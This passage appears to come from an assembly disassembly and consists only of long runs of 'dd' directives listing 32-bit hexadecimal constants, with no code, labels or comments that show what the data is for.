		dd 10C84562h, 0CBE30957h, 0FA11801Dh, 0D989409Dh, 705EC0E2h
		dd 62A8109Dh, 0FAC70012h, 577D3A08h, 7826792Bh,	6C017990h
		dd 266DF8E8h, 49F87EDEh, 0A464C865h, 42DCD860h,	0B2C29E18h
		dd 5D96B3D8h, 2ABD70C7h, 9B4AC421h, 2869E6F8h, 95C1F7E7h
		dd 1049D4A7h, 8A0D8046h, 0A62CCE0Eh, 3FCFC0D5h,	7F075948h
		dd 0A0C7F896h, 284376Ch, 0FA1BEE66h, 0A8D267CDh, 0DA7FAB02h
		dd 4247A095h, 1951601Ch, 0BF752D99h, 0FDEA58C8h, 3E04180h
		dd 862583Ah, 3698F3CBh,	0F4014EFAh, 1FC9434Fh, 203E664Ch
		dd 0AFCC3578h, 1DD553Fh, 9964DFB8h, 0F8E446C8h,	0A9C71EB2h
		dd 0A3FC01DBh, 25B63A83h, 962CEC08h, 0C7C9A402h, 7C880E69h
		dd 61580B10h, 94985C72h, 5441A545h, 0C7012896h,	61D98074h
		dd 1C00411h, 98831265h,	5874A44Ah, 0E3C54200h, 97271FA1h
		dd 0B72E0ED5h, 2AC08766h, 0B04D6734h, 47CF9B18h, 0A348DA30h
		dd 0D460A8DDh, 0E1FF0004h, 93093E9Dh, 49007D20h, 98ACB5EDh
		dd 0B09E3Fh, 0E8EC31CEh, 0B7F16C69h, 4CE29D06h,	12847A4h
		dd 0F42EBAF8h, 0E88C1FFDh, 281D9845h, 20307EC5h, 336CF0Bh
		dd 4983FCB0h, 408F74D4h, 0F12C0FC9h, 7C009B78h,	440D414Dh
		dd 74DFB1EEh, 8B96027h,	0E3434A91h, 0A8412C03h,	9042F12Bh
		dd 0EC3946h, 0C9AAC6DCh, 8694775h, 0D7501000h, 2EF00ECAh
		dd 0F714308Ah, 1732E811h, 5A502B00h, 0E9CEF8C9h, 8BFD304Bh
		dd 3781A890h, 5A48F01h,	84CB5E6h, 0E08938D4h, 36420C93h
		dd 48C8EAF0h, 51670707h, 0CA70A5B3h, 3A17666Ah,	180369B4h
		dd 9526098Bh, 72002876h, 2A54C035h, 0F4DB4944h,	0B286001Bh
		dd 0D5CF51C8h, 0A0A8FB2Dh, 3E043F5Ah, 0FCE0D76Ch, 0DFD84BC0h
		dd 8199017Bh, 0C5C698D1h, 0C04270B3h, 8A8FDA03h, 8831D2F0h
		dd 0F0FF5A79h, 261501F8h, 2E6D94E5h, 368C4790h,	790A2A93h
		dd 0E7F8CDEDh, 4CEFA700h, 1FE04714h, 80968FCCh,	413EFB67h
		dd 440CF670h, 200EFDC9h, 48EA4Ch, 0B0C4514Dh, 2EA7C66Dh
		dd 4B5D9D12h, 0BB4E0Bh,	0F5A63F0h, 0EA6430B0h, 0B38FD639h
		dd 0F7EE1A0Dh, 0C9F06869h, 0B1CA07F0h, 0EB420FE7h, 9900CF50h
		dd 744A614Fh, 3C71CBC6h, 4C87AE18h, 13BF8Dh, 242329B3h
		dd 0CCAAA807h, 77727E1h, 0DE46404Eh, 3F3F23Fh, 18334090h
		dd 9CC82A58h, 440E5694h, 4034D8B7h, 0A20CB99Dh,	0FB7499h
		dd 0F4CB5CB2h, 0F6B10AAAh
		dd 0F14AAC01h, 0B372B4E4h, 118C6F3h, 0F9506C36h, 5B827A5Ch
		dd 0D1670820h, 0F7BE03E5h, 37A365A7h, 31FEC0DFh, 7107D783h
		dd 0CF42DEF3h, 9AD77C0h, 0B672008Eh, 5EA39FFh, 0A721253Dh
		dd 4981CC65h, 84944220h, 30B60714h, 70E90E0h, 2711C0BDh
		dd 0E7E49C74h, 0B1136713h, 77DB5400h, 0A43E34Eh, 669876B7h
		dd 0A508B234h, 0D36380A1h, 0A0D01AFBh, 91072CF8h, 4056D4B4h
		dd 2F037B50h, 30772A27h, 44AF9E8h, 43F71F7Eh, 0CFCE0045h
		dd 9E2CE11Dh, 55FD011Fh, 0B3A0DF81h, 0BFD8B7BCh, 0DD6B0668h
		dd 2903D569h, 840508EBh, 8C11D342h, 4E92119h, 8BF08C9h
		dd 17EF4267h, 0C286F02Eh, 7B4251AAh, 2114D211h,	0ABDA0CF1h
		dd 22848F29h, 85441A6Ch, 367000A3h, 95829B64h, 0A10F6586h
		dd 4E2939h, 0AE6B8C3Fh,	36323E42h, 0B7180F73h, 0BAC3545Ah
		dd 5890EFADh, 0D3034E81h, 0EA98A0B8h, 68F6E819h, 590600DAh
		dd 8757ACDDh, 5A005EF4h, 56462505h, 7561F2h, 95735B34h
		dd 418D9B07h, 1EAB7909h, 0B6C88033h, 0AAB383h, 8BBC60F3h
		dd 73E0EC2h, 49DE7730h,	0EF31C6h, 35D06E5Dh, 0B510DD93h
		dd 0F87A23Eh, 40553B32h, 764DB32Fh, 99980046h, 4A4C36CDh
		dd 82FA1E8Ch, 0DB21620Eh, 0ACB240E3h, 6FF231h, 0C1F14C5Dh
		dd 9DEC3812h, 0C8E1A700h, 0B179CCD0h, 0F8AC00C3h, 11FA63C0h
		dd 0D100EC57h, 772E1B3Bh, 7191705Ah, 45190196h,	28BAA9Fh
		dd 28688061h, 75FD6A35h, 6DDB002Ah, 8057B4EDh, 4B0F76CAh
		dd 602F26F1h, 68C9BA45h, 223A00ACh, 28CB43D1h, 0D0C74782h
		dd 30807562h, 534F7Dh, 8D794C7Fh, 0B7213380h, 3CD1E505h
		dd 0A4C11471h, 64200A96h, 1847BD6h, 8164F7F9h, 400BB11Bh
		dd 0F2E56DC8h, 13E6A30Bh, 0E245037Bh, 3738E896h, 1B6F038Ah
		dd 0DFC866B0h, 27D62109h, 10C18163h, 0D207006h,	96F103E9h
		dd 0CC30E30Bh, 0C117F7C0h, 7569B600h, 7DB89578h, 8040FD4Eh
		dd 109222Fh, 0E44B18E1h, 24D8B997h, 48012BB4h, 0F182998Ch
		dd 0C247B39h, 0E1121F26h, 400064C7h, 555AEBF2h,	64CD1F1Dh
		dd 0A2548Fh, 0FF5D3B95h, 6950003Ch, 8CED4C3h, 0E09051F1h
		dd 0E21C202h, 6005D014h, 0FA1B3C86h, 0A717002Dh, 61FF2F3Dh
		dd 8B007389h, 27602EDDh, 0FDE1A803h, 1CDE0EBh, 7E130084h
		dd 735DF68h, 31C0D827h,	2918C6B5h, 0A6F50141h, 38D27BA8h
		dd 27D9DC7Fh, 250AD003h, 0A8180BC9h, 0E46E9244h, 0C1713Ch
		dd 7C9E4AAEh, 5E09CE03h, 0D00B0800h, 0D151B52Fh, 2C3500DEh
		dd 3A76106Dh, 0C53F975Dh, 0F78107FAh, 7C00D80Bh, 8853AEh
		dd 1DCC4AFBh, 4C762023h, 0A5659307h, 0FC70A449h, 9EC12Ah
		dd 1B87B4E3h, 9CF54628h, 8023AA3Eh, 364912A2h, 9A3E66h
		dd 97987A0Ch, 0BC6E4E42h, 78BE4Ch, 3748EE58h, 3922533h
		dd 4FFE5285h, 90C0343Ah, 0C1792B1Fh, 1EDC6100h,	0F949A76Ah
		dd 4EB4007Eh, 529A6D1Dh, 0E3007182h, 5D3C23F6h,	41D1C5h
		dd 0C796AFDh, 868921A9h, 9AA5CB0Fh, 20728974h, 7A60D334h
		dd 56291E4Ch, 70EA465h,	31371B83h, 20D682C0h, 0DF0060F4h
		dd 64C63ECBh, 1CBB7EA8h, 4063CDD8h, 62A38428h, 4F005305h
		dd 0E5085DFBh, 92A2E397h, 0F0450A38h, 2C8C743Ch, 68D40069h
		dd 13FFCEA7h, 804CB43Bh, 0D0642AC4h, 59BE5A5h, 0CE3A8F80h
		dd 80D4C42Bh, 8458693Ch, 0E01FFE75h, 9005526Ch,	0ACC44085h
		dd 283CFC00h, 6F8AEDCh,	0BF4B68B7h, 4906385Dh, 0C67064B8h
		dd 957060h, 6CAC14FAh, 0DA769D94h, 70E55600h, 3B686B46h
		dd 0E4BE0B7Eh, 0C0074D0h, 0E0298A3Ah, 73EDA503h, 0B5B20Fh
		dd 0A6EA8F48h, 21575CADh, 974C7098h, 0F98500C4h, 7723CEDAh
		dd 7071009Ah, 8DF10692h, 0D80076D2h, 4B6DB63Ch,	0E41829h
		dd 72B3DD63h, 0A6689048h, 0DC08D403h, 0D0A45667h, 0EDB291h
		dd 88158D59h, 0D4F08904h, 62B38602h, 0C0D6CA1Fh, 0CC6698h
		dd 9E5F18E4h, 0BD79FA4Ah, 421C4D1Eh, 0F802C05h,	0DAE60C81h
		dd 6AD499F3h, 0AE1AF0h,	0D81D7108h, 4317C56Dh, 7CA40B0Fh
		dd 1FBE403Eh, 3012DA6Bh, 96E4F14Eh, 0A100BBC4h,	0E7176535h
		dd 0C2EADFCFh, 0D20EFED8h, 6CE273E0h, 53261C00h, 0F78E2723h
		dd 0F350137h, 0D6C186D9h, 7A9C40EAh, 41494084h,	8DFE003Ch
		dd 3DB993Eh, 0D6F900D0h, 519D5BECh, 0C33A4BB9h,	4E73000Fh
		dd 0BA884707h, 504304CFh, 0C0A7A0C2h, 6D318D78h, 6BDF4104h
		dd 0ECCC843Fh, 58E272DCh, 0E40030B1h, 27ECD238h, 551EE352h
		dd 0FB438F65h, 0E0C578C0h, 185B5F9h, 0D45BB79Ch, 0E030CEE3h
		dd 2907FA87h, 5347AB74h, 0B9F90720h, 4A7F002Bh,	0C96C7303h
		dd 4C003DEBh, 7E879BE3h, 0EAFAE43Ah, 56D30016h,	0BD810428h
		dd 5A0058AFh, 7767B74Ah, 0DEEB7Dh, 258507F2h, 178B6D66h
		dd 1193E40Ah, 6E16E8D5h, 0A7302500h, 7122176h, 354595A1h
		dd 582B804Ah, 6C00529Fh, 0FD75023Eh, 2664BFCh, 59B61730h
		dd 10E88055h, 8C0253A8h, 0C63586DBh, 990CE3FAh,	6D00D156h
		dd 0A202C2F7h, 0DB291AA8h, 37F0402Ch, 61A600B4h, 157A0DC3h
		dd 800AD5CDh, 0A4CBDCFBh, 88F4D143h, 0FEB540h, 7A295E88h
		dd 9583FF43h, 5FB4EE00h, 18EA4D7Bh, 8FFC05C0h, 906DAE98h
		dd 0B60A4B30h, 0DB08800h, 8091EEDBh, 56F200EDh,	0C1F41A7Fh
		dd 940F6541h, 40CCDC40h, 32E0FF30h, 9B2F0070h, 7AC81CD7h
		dd 770BD05Ah, 342BFE7h,	0E0BECAE7h, 0C14EDDh, 0EE96062Ch
		dd 8DB683A7h, 0DF1CAC01h, 4B2DC264h, 0FD3C9CCh,	0AE545966h
		dd 0CFE1A28Fh, 602E040Dh, 0C407995Ch, 77D3CBFFh, 0D7B312F0h
		dd 70324980h, 0D6CD1700h, 713A3349h, 0DDE09D01h, 2644038Ah
		dd 0AC7AF4h, 0BB5C9204h, 331F7225h, 6E246300h, 0A2098966h
		dd 147A09E6h, 3C02F9A8h, 8840EB04h, 0B81D90E4h,	39004C6Dh
		dd 695E1F5Ah, 0FCA50060h, 8F12158Eh, 5F2E094Ah,	0BC8C70h
		dd 807EDACEh, 0E2C3BEh,	4FB1BAB7h, 0EA42ACBCh, 0A93B6778h
		dd 83913C48h, 34FF35E8h, 3C12F86Ah, 0BCF20144h,	60C9961h
		dd 40CBC547h, 1B9341DCh, 0A50134F4h, 9554649Eh,	8C402888h
		dd 52564Dh, 32025747h, 54FD37A7h, 32786F8h, 17B7630h, 0E2EE695Dh
		dd 8E31D4C1h, 1AA05702h, 0E0080E51h, 0F77306Fh,	0B5425619h
		dd 8C7494DEh, 4321253Bh, 332D7B00h, 0D2756Ah, 0E7F8B34Eh
		dd 9B01AE23h, 949D0602h, 0E0B96F83h, 1610CDBh, 8E3B379Ch
		dd 82D157F9h, 0B15BAF62h, 4EC86820h, 0F08D3E28h, 31826600h
		dd 89A0B31Ah, 7D2A39C0h, 0C08329C4h, 0AE720711h, 2E002516h
		dd 601FB0F8h, 3B85265h,	5C295DFCh, 0A3B6953h, 0A4191E32h
		dd 4782FF00h, 0B887DF8Ah, 5ACB00E0h, 0F6C3B21Eh, 0AE007608h
		dd 0AB7C9138h, 50105395h, 79D5A82Ch, 9F1D00CFh,	0BF3D4BD4h
		dd 183CAC7Bh, 3048CEh, 1FB579E9h, 0D97536h, 8FD099E4h
		dd 0A6DEE287h, 7DC0DA00h, 0DFE1FF08h, 0F7F155Bh, 0AD3CA877h
		dd 0B0CAACh, 544D934Bh,	0AC780DC8h, 0A2B1C200h,	1E8E6337h
		dd 0F346143Ah, 0DD01FB8Fh, 83530833h, 0A40C305Bh, 87A622Eh
		dd 0A203350Eh, 60D89738h, 0CDFA00h, 0C54C7E20h,	8BCFF5D4h
		dd 0BB0F1000h, 97EA1703h, 644B5CA3h, 8005561Ch,	3F833078h
		dd 0D25A825h, 3208086h,	49DACBh, 0A6BF939Bh, 7FE83E23h
		dd 9CEB58h, 0CB3FE1E3h,	3EC3801h, 0B2460C1Fh, 0D8D0DE67h
		dd 0C7033B32h, 37FEAB91h, 4A327D4Dh, 643C001Dh,	61EE7F9Ch
		dd 40F0AE1Fh
		dd 0EFDD3240h, 58CE8792h, 2C77D8C9h, 0B938BF2Ch, 5820DF1Dh
		dd 0DA0411BCh, 133F24Ch, 0AF8783D2h, 0C0ECFAC9h, 7A06030Eh
		dd 1196B48Bh, 8FDAF298h, 0A04A1B00h, 0ED8C9447h, 84FF0038h
		dd 8A46DB26h, 0BB00B663h, 0D14F6265h, 40EEDEh, 589A2E8Fh
		dd 35AA5DE2h, 0C6B4E300h, 0B70169D8h, 0CC3C2CFCh, 4C3F001Ch
		dd 0EBCF7585h, 0BD00AAE4h, 6D718D9Ah, 755F333Ah, 8AF10747h
		dd 0E18F9798h, 700BDC19h, 0CF3DF8B4h, 44118353h, 0D0F7A50Ch
		dd 0F0169A76h, 0C9BF007Ah, 3EC11DA1h, 700CA7Eh,	0D419D9AAh
		dd 7CBBEEDh, 10E2B0FAh,	0A6422003h, 71006BBDh, 0D96AFD73h
		dd 7220937h, 45698689h,	87806BFCh, 0F9ACEC99h, 1828834Ah
		dd 53DB008Eh, 0F5243906h, 7203E492h, 0E2AB49BFh, 5D62995Fh
		dd 0BB3FD40h, 97E500E9h, 6B75129Bh, 70C32B8h, 0D80615D6h
		dd 29E4A9D0h, 3EE882DDh, 4E550060h, 0A8F6F52h, 8B050F7Ch
		dd 0C1BFD65Dh, 1BE590C0h, 389026h, 8FBC071Dh, 66DC283Bh
		dd 5D2AD600h, 6547C172h, 3D2B004Fh, 0A8835097h,	0A493570h
		dd 5AB60044h, 9FFA378Eh, 0F72600D9h, 5E4AB4E8h,	1D3AE9E5h
		dd 0DEB88760h, 2C1E0F6h, 4605A8Ch, 398EC92h, 26F856C6h
		dd 2005F73Ch, 67F96E1Ch, 97E0E487h, 306545BBh, 54E00F18h
		dd 0A313B482h, 0EC80A9EDh, 96A2D1h, 8B66A802h, 9D65D5E0h
		dd 71D28A00h, 5A25F5BBh, 81E498h, 0F11DEE29h, 0CFE3C75Dh
		dd 1289F30Ah, 6D84DC0Ch, 0FCA29DB8h, 167E9013h,	0ADC04018h
		dd 74F7705Eh, 9D298700h, 254D4FAFh, 9A803A2Ah, 0A38038BFh
		dd 6D19337Dh, 0DEFA7723h, 56004871h, 441AF9B5h,	2084B7Eh
		dd 2126C275h, 0C5E0B497h, 8B001E94h, 12C432C9h,	1E4DF7FEh
		dd 0FEBF74A5h, 0E8DD4780h, 0CACD0AF0h, 0E9820E0Fh, 51BCA073h
		dd 0F041A746h, 0B9F300BDh, 775E8586h, 0E5004822h, 4B665494h
		dd 0B0C04A57h, 63271CA0h, 0F4740435h, 0DFD000D1h, 1EF3F6h
		dd 44CDC588h, 0EF1146A3h, 42EEA21Eh, 5A124545h,	1424E600h
		dd 5EB96ABh, 5C167BFh, 0FD081F3h, 374C802h, 0DC6CD900h
		dd 0C3781225h, 0A6AD01CDh, 24833293h, 6B5BECB8h, 0F909FA00h
		dd 0D16FB297h, 0EEDA001Dh, 0C1929EBCh, 7007A4Dh, 76F114EFh
		dd 7AB498E7h, 2912000Fh, 1A1F1EEBh, 950267C3h, 57AFBFB7h
		dd 9AA060BDh, 0DCE01D87h, 83F8E6A8h, 0A9B6BFF5h, 0ECA7CAF9h
		dd 0C3009639h, 9C06D531h, 58B0CEBAh, 721860h, 2795436Eh
		dd 5CEBA233h, 0AAC0D307h, 0A21F624h, 0A8233FDCh, 0C58D7300h
		dd 0E5E89BF1h, 762D625h, 0B3240800h, 0F2A6E480h, 987701D9h
		dd 1613EFDEh, 29D4D8A2h, 0ACC3ED03h, 80B43E5Ah,	5E0ABD9h
		dd 1522A9D6h, 29068054h, 0DD03BEB0h, 0B750886Ah, 1CD3D8F4h
		dd 6C93070Ah, 0CA838B78h, 2B4803D5h, 49E0BA3Fh,	1500C8FDh
		dd 1A4656EFh, 974DAEh, 8D1373A9h, 0CAA063CCh, 0C053DC00h
		dd 2B744B28h, 0FC6A0010h, 67C20FD6h, 250055B3h,	71859F18h
		dd 1DF0F3DAh, 0C074582Ch, 5A6C0690h, 7D07F6B1h,	0B9291D27h
		dd 0E06B4711h, 3C3834h,	77FB8C3Bh, 9519F661h, 6EF38A00h
		dd 43942148h, 0E28D078Fh, 0B0EAB055h, 0B22D5DA3h, 0D802834Ah
		dd 68F64696h, 92017E0h,	8D5C951h, 0A060C80Fh, 0E30E21C5h
		dd 0FB4CAE01h, 0CEB8833Eh, 7A3C60DAh, 6F550084h, 1A771F1Bh
		dd 35733A13h, 908CB403h, 0D8B0568Eh, 7E13295h, 83AE81CAh
		dd 3023B7C8h, 7FACF1DBh, 2942FD01h, 4EC4AF8Fh, 5526C4h
		dd 0BD4CC06Eh, 2595A35Ch, 1CB5D24Ch, 0C4019B7h,	72939F0Fh
		dd 26F40408h, 0C0339A28h, 663F9C18h, 15FF4800h,	730BD62Ah
		dd 0AC5C008Ah, 75EE3813h, 6D03FB8Fh, 493E1481h,	12F7F8FEh
		dd 0E03007C3h, 30F92A36h, 6D2EBCB6h, 8083283Dh,	43F5988Dh
		dd 17165FAh, 22B5CA39h,	301DFD0Ah, 91FEEDCBh, 7CF04426h
		dd 4164D40Eh, 0FB398228h, 608020h, 7B5ADFC3h, 0C113583Dh
		dd 10BEF300h, 0D1980C8Ah, 7F3B0591h, 0D0E8A829h, 0F3B0AD0Ch
		dd 0A3775F0Fh, 0BA3313h, 0BCA666EEh, 0C1017D11h, 0E09FDC2h
		dd 51E021DCh, 3AF770EEh, 2880F17Ah, 0D6D31758h,	0A305F679h
		dd 70AAB756h, 0F785B8C0h, 7195887Bh, 0D8009E7Ah, 0B218E60Fh
		dd 583D9BDEh, 63032A8Ah, 84F82408h, 0EFD75A8h, 270022FEh
		dd 9FB8459Ch, 0F86BBE2Dh, 0F06E0074h, 0EE2E8D75h, 0F100C496h
		dd 76BF9D80h, 0FAE4008h, 294A3DD2h, 0D3E0811Eh,	0E046E638h
		dd 4303D0C1h, 0B4EE4F58h, 0F14A0287h, 0A741DE8Bh, 0D7148B40h
		dd 44D0DCE1h, 6117102Dh, 0A2402008h, 7E89C76Bh,	12D900E2h
		dd 19CE34AEh, 0BA0027EEh, 2F7D6792h, 3989F5h, 0E2FAB87Ah
		dd 608C2FFh, 0AEED7500h, 0F5041568h, 9C5148E3h,	6CDA6500h
		dd 1F9D41C1h, 1AC65603h, 0B04FD9E6h, 0EB75BF2h,	0CDA7922Ch
		dd 3D2125E0h, 13074EE3h, 81B6967h, 0B41728A0h, 0A06F07CCh
		dd 0BE2458h, 0EFA8A264h, 25005D7Dh, 0B6DFA9F6h,	0F1B89C9h
		dd 6991CC4Dh, 0F0447EA5h, 3AFA7628h, 5601C501h,	11822D7Dh
		dd 0DD64F940h, 8A9B02C6h, 0A172C4FDh, 6D98AC80h, 7B0001F8h
		dd 9D20DDA8h, 9D6DB9Ch,	0C7E00D7Fh, 79322440h, 0EE010E7Bh
		dd 0DF789EAFh, 708B505Bh, 270E3D67h, 7C86F081h,	17687CD2h
		dd 0D05EE86Fh, 0B2BBC000h, 0E8A33E7Bh, 185DE881h, 210A136Fh
		dd 0D21F558Ch, 7A87BBAFh, 0A340B3C8h, 27D816h, 34F02CE1h
		dd 0E58FCF0Dh, 0C49D7B00h, 0CBD2B24Bh, 740C0A3h, 3B197F96h
		dd 9DCDEC00h, 53B2FAD6h, 1E91EAEEh, 80D2862Fh, 0A4B616C7h
		dd 8210DA50h, 35C0D079h, 34FA32D2h, 0CA50F37Ch,	132AC70Ch
		dd 0AF00AC2Dh, 0E87A82E3h, 0DA0D6Fh, 0A6C6E756h, 23173106h
		dd 7002ED05h, 28C0259Ah, 41424Bh, 665613BCh, 8822A865h
		dd 6D786000h, 93FB3BE3h, 214C00B2h, 38B7EF6Bh, 0DF00F680h
		dd 0C0EA69Fh, 0EC6C56h,	1198157Ah, 0EA99AB6Eh, 9E3E66E4h
		dd 0B6388022h, 26A52A83h, 0E5E020h, 0B50843CCh,	0B8E2CFB4h
		dd 32B66500h, 54E925EEh, 9B524A96h, 0FE044240h,	98AC6BE0h
		dd 3F42F48h, 4023CBDCh,	0E1678BB7h, 188411D8h, 4FDF33DEh
		dd 826A8314h, 8DFBE0EEh, 58A7906Fh, 17A20CDh, 0B8FF4FD7h
		dd 0FC5B6903h, 0AF00B2ABh, 0C4C2D029h, 7EA145Ah, 43A04146h
		dd 0D455E06Ch, 0D8313ACBh, 1B9418E7h, 0F8560AE4h, 4863B0C5h
		dd 0E531E453h, 83BD4A90h, 6D56FC78h, 79C90651h,	0D1E254E6h
		dd 0EC7BBA07h, 0B300A9F7h, 7EAE26D5h, 5C7C91h, 0EFEAD0B2h
		dd 1DD660Ch, 0D4C6BB18h, 30BDD139h, 3E60B86Eh, 0A001C138h
		dd 0DC69B7BCh, 188991DEh, 5890E29Eh, 0B46E9C3Bh, 28C483C0h
		dd 673105CDh, 388C2Fh, 0CC74D208h, 48FF6BE7h, 5572A4B4h
		dd 0A1076900h, 923150C4h, 0DFE8C04Dh, 3D0BEF51h, 1A579C00h
		dd 0A1138F5Bh, 1179C0BEh, 52E2C3E8h, 0D4F0500h,	58EB533Bh
		dd 47D70CB2h, 0B129BBC4h, 902F662Ah, 0C852CB00h, 3E4147CCh
		dd 0C0E4E053h, 0D6F8EBB8h, 953A8EBAh, 1B18019h,	0B20D4A05h
		dd 75200071h, 4DE5BF3h,	300B7DAh, 419E7939h, 0EC937628h
		dd 0E695E0F4h, 24AF85Eh, 0A203DFDh, 444D5134h, 0FB13C040h
		dd 0A5AC0A83h, 30CB7F7h, 57BF829Eh, 80C0D4C3h, 39C0A19Fh
		dd 0F41278A6h, 33A21634h, 894190Bh, 0FC21804Eh,	0DD51ECA0h
		dd 0ADDF0770h, 4C481B3Ch, 0B81956F8h, 4658CE22h, 718349C9h
		dd 6F386BEh, 0C87C0AD0h, 3FD67B1Fh, 0C90A6868h,	0A4C7FC5Ah
		dd 901BBC02h, 105441D6h
		dd 12EFA460h, 20BF72B5h, 0B7373320h, 16241180h,	214FA147h
		dd 0EC84A7C8h, 8B583E7Ah, 0FB861994h, 6468BB08h, 118C4C00h
		dd 7B30C432h, 0C7482267h, 7F9E4AD3h, 6B601060h,	7D307B5Ch
		dd 7DCE0BEh, 0B2B18356h, 964C21A9h, 0F44101BAh,	435432C5h
		dd 21C040C6h, 22EF297Ah, 0AE4C811Ch, 74174F9Ch,	3FE23B24h
		dd 0D44D5A01h, 0A68A7B57h, 58885C20h, 368268F6h, 998062E9h
		dd 0D1D2831Bh, 30814B3Ah, 0F16C215Dh, 0F2190762h, 0A2D73A21h
		dd 8C8065C8h, 32153C20h, 0C45DB524h, 479A2341h,	24A1F5C0h
		dd 441430B8h, 0E408C177h, 69D7004Eh, 30C10A1Eh,	8421EBh
		dd 968FCA6Eh, 0B854E97Eh, 900079A4h, 101275EFh,	53F6FEh
		dd 703A392h, 615A29Fh, 0D0965107h, 77003AF5h, 49DED537h
		dd 7C80349Ch, 8234E812h, 0B3108E43h, 0A4F802D9h, 608661ECh
		dd 8036D1A4h, 0D0603BB8h, 0F6111FB9h, 26917D9h,	0A0C010C1h
		dd 0EE009723h, 83C97762h, 3B44869Bh, 62F60791h,	606A0559h
		dd 7986E192h, 36FF5E01h, 0BED86346h, 0A5686C20h, 6038E4CCh
		dd 4CE99FB8h, 3305E4D9h, 10823C7h, 0F28E07CCh, 0C6F1923Ah
		dd 136CA914h, 6C00A28Fh, 57F05288h, 0BEE9C0D1h,	67E6CC70h
		dd 0A1ABD506h, 49086D6Fh, 9500B4B7h, 0AF73CC98h, 4024EFA0h
		dd 6A0C043Dh, 9BD2869h,	9FDD16C9h, 4F05A02Eh, 1A44885Fh
		dd 98F3740h, 407C1B21h,	512FE418h, 0FA902383h, 0C0CC7601h
		dd 0E4186567h, 9E9321C0h, 70382CCCh, 62F3E657h,	4F957032h
		dd 7D3E8C52h, 0F61D801Eh, 37DB9206h, 0A1B1C081h, 47C4C843h
		dd 74116760h, 92252617h, 2F34690h, 0C87B62F2h, 10423123h
		dd 1E62FA6Dh, 2CC840A0h, 577A0838h, 93280803h, 74980336h
		dd 533070CBh, 0F8608AA2h, 0BA449E76h, 0FE5E008Ch, 18603E4Ah
		dd 1303753Fh, 3BB401C1h, 71039CC4h, 60131708h, 5421B5CEh
		dd 8042F83h, 9FC1F7A0h,	0E0A18FCCh, 879EC0E8h, 0E81CADCCh
		dd 5841FABEh, 0EB3852D2h, 7E45E460h, 477433EDh,	7FA125A0h
		dd 280334Eh, 3E78118Eh,	10AE31FBh, 0F119646h, 28DF27B9h
		dd 0D6547743h, 66059900h, 5198F9C2h, 6F8503EBh,	0ED36DFBh
		dd 0E4B001E2h, 3A157CC9h, 80701Bh, 4A0A27CEh, 0BB8647h
		dd 0DD7591B2h, 4605CA59h, 0A4A748BAh, 19603AC4h, 272113Fh
		dd 29056B0Eh, 483A4284h, 0AD18C3BEh, 0B54EDC31h, 9920E980h
		dd 9E7DCF4Fh, 3800D4F2h, 6FE3E2F7h, 0EC5E57h, 787227A9h
		dd 0DC172521h, 8885E0A2h, 5354CC9Ah, 23E04452h,	53C2CFCh
		dd 6275678Ah, 9120B9E0h, 153CC9Ch, 939D3BB3h, 0D3A50332h
		dd 41BF6CC9h, 7052D384h, 0E8A4476Ch, 0E4203345h, 8AEF0CDCh
		dd 8720B158h, 9D5A98C4h, 0E0E01F0Eh, 0E85430F0h, 0FA4391C0h
		dd 1CD9C8A2h, 0C3706C50h, 0B2AB891Ah, 91A088E0h, 643ACA09h
		dd 4C104EE6h, 5DBC9868h, 0E22D098Ch, 0C49033B8h, 0C50B0540h
		dd 0A0AC6838h, 0B16AB4D4h, 3B490E9h, 76BFED17h,	0D8FA5334h
		dd 366888C1h, 808EE0D4h, 1DD904EBh, 83A3B8D7h, 15F426B8h
		dd 648A8450h, 3020DC84h, 217862F5h, 90C0FBC8h, 7D62FDh
		dd 2E557E02h, 0ED417835h, 8478C858h, 8D0B49Eh, 0F977E1h
		dd 0C509C972h, 0EA8C51A9h, 33BC091h, 9FFBD3EFh,	0CF310E55h
		dd 6F207125h, 2FA03C76h, 7B5C600Eh, 0F72601BAh,	71E3078Dh
		dd 968B0289h, 924A9906h, 909760D7h, 0F5D1786Eh,	6AF869F5h
		dd 0D6460022h, 0C60EEC61h, 790F7887h, 74ED8FE8h, 24210144h
		dd 0E3C4685Ah, 0A8200031h, 63BE13A5h, 1D3C20E6h, 11B0CDDBh
		dd 0EAC89F02h, 60D02DEDh, 93BBB8C0h, 0F8ECD810h, 80B79E2Ah
		dd 25504205h, 0E481CB08h, 0D844A4DDh, 4FA35C81h, 11088A0Ch
		dd 0CEDB3E74h, 0F24A07D1h, 0FE608711h, 0BCCD2Fh, 21779536h
		dd 0D346382h, 57122C90h, 688BD576h, 30D9B384h, 4840BC60h
		dd 7313FCBDh, 46F8F0A1h, 912ED9C0h, 1CC4FCE1h, 41AF4E51h
		dd 188BEC06h, 0D0F4706Fh, 4D40574Ch, 0A468219Ch, 0E4215C1Ch
		dd 52FD9C56h, 0A76862E7h, 18897CC1h, 125890E8h,	2C8313C8h
		dd 0F0006F68h, 90524A62h, 2CF58E70h, 7480A0h, 3D93DF76h
		dd 19F06933h, 6F78B975h, 0BD09AB76h, 184615CAh,	55384700h
		dd 1BD8A4B9h, 0EF49434h, 98A98AC5h, 2EA05080h, 14A4C146h
		dd 12A78020h, 803C8AC9h, 344B02Ch, 88A3242Ch, 56E42174h
		dd 5EC2A880h, 53C21h, 36DDB132h, 730B5F4h, 4CF94F60h, 595BA98h
		dd 0EFCDE91Eh, 9F489082h, 8E0643DDh, 0CEEC5A29h, 6B460CB8h
		dd 4EA8B764h, 9C230A4Bh, 8FE7A0EFh, 77C43DA0h, 80BE9F1Eh
		dd 0FD87A685h, 0C090113Ah, 7A0E351Fh, 18AEDC0Ch, 5B690AD9h
		dd 2B4B6B7h, 0C4A68494h, 4C99CCA9h, 251D309Ah, 6BC12600h
		dd 0DF0DC73Fh, 6EEF3CD8h, 0D7AB1C0Ah, 3AF105F7h, 4CC008DEh
		dd 0A1E75E8Ch, 557900ECh, 0AA3BF5C4h, 8276DC5Bh, 0A08552h
		dd 5D4ECC7Fh, 50EF79A9h, 7CDEB868h, 284A4833h, 6DCDD04h
		dd 0C7C48481h, 8ACF6138h, 0D3D452ECh, 4470D451h, 0D9F286DEh
		dd 4110F51Ch, 38046356h, 9500EFC0h, 0BE5EC469h,	7EE870C1h
		dd 98226853h, 0C23DC44h, 47BB5452h, 3A2CC981h, 0DD9880D4h
		dd 16AA5E76h, 862C43h, 1404676Ch, 0F6005A99h, 0BCA9F28h
		dd 0F1B6C782h, 251B1438h, 98C4F8BAh, 0CC087A34h, 0C2856784h
		dd 0AF0057BBh, 3C10CC82h, 0B1807A8Ah, 3CB805AAh, 28F422ACh
		dd 5E90B963h, 165100E0h, 24BFB1EDh, 7500C7D7h, 2DB505E2h
